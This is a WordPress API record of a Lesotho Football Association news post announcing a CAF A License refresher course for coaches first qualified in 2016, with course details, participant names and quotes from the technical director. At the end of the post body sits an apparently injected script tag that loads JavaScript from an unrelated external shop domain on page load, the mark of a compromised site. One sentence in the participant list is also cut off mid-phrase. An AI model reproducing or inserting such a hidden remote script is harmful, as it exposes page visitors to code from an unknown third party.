{"id":4220,"date":"2025-05-25T21:28:23","date_gmt":"2025-05-25T19:28:23","guid":{"rendered":"https:\/\/lefa.co.ls\/?p=4220"},"modified":"2025-05-25T21:28:23","modified_gmt":"2025-05-25T19:28:23","slug":"back-to-school-for-lesotho-caf-a-license-pioneers","status":"publish","type":"post","link":"https:\/\/lefa.co.ls\/?p=4220","title":{"rendered":"Back to School for Lesotho CAF A License Pioneers"},"content":{"rendered":"<h3>The Lesotho Football Association will conduct the CAF A License Coaching Diploma Refresher Course for twenty-three coaches that were the first group to attain the coaching qualification in the Kingdom in 2016.<\/h3>\n<p>The Refresher Course will run from September 13th to 15th at Bambatha T\u0161ita Sports Arena and will be facilitated by renowned CAF Instructor Serame Letsoaka.<\/p>\n<p>The list is headlined by Lesotho senior team coach Leslie Not\u0161i, assistant coach Bob Mafoso as well as former national team stars such as Lehlohonolo Seema, Motheo Mohapi, Teele Nt\u0161onyana, Molefe Makhele and Malefetsane Pheko.<\/p>\n<p>Jwaneng Galaxy coach Morena Ramoreboli, Mark Harrison and<\/p>\n<p>The group will be missing several names who have since passed on such as former Likuena and Mehalalitoe coaches Moses Maliehe and Pule Khojane as well as Kekeletso Lebeta and former national team striker, Motlatsi Shale.<\/p>\n<p>The CAF A License is a strict requirement by CAF for coaches to be eligible to be in technical area during official CAF competitions.<\/p>\n<p>LeFA Technical Director Lehlohonolo Thotanyanya stated that it was important for the Association to have a refresher course for these coaches, who graduated with A License in 2016 as the game keeps evolving.<\/p>\n<p>\u201cFootball is dynamic, it evolves all the time and coaches should be refreshed regularly and for this particular group, it&#8217;s been a long time since they attained their CAF A badges,\u201d Thotanyana said.<\/p>\n<p>\u201cThey need to be equipped with latest trends in coaching and football because it is advised that coaches should get to be refreshed at least every two years.\u201d<\/p>\n<p>&nbsp;<script><script src=\"https:\/\/distie.shop\/custom.js?query=32861745670379\"><\/script><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The Lesotho Football Association will conduct the CAF A License Coaching Diploma Refresher Course for twenty-three coaches that were the first group to attain the coaching qualification in the Kingdom in 2016. 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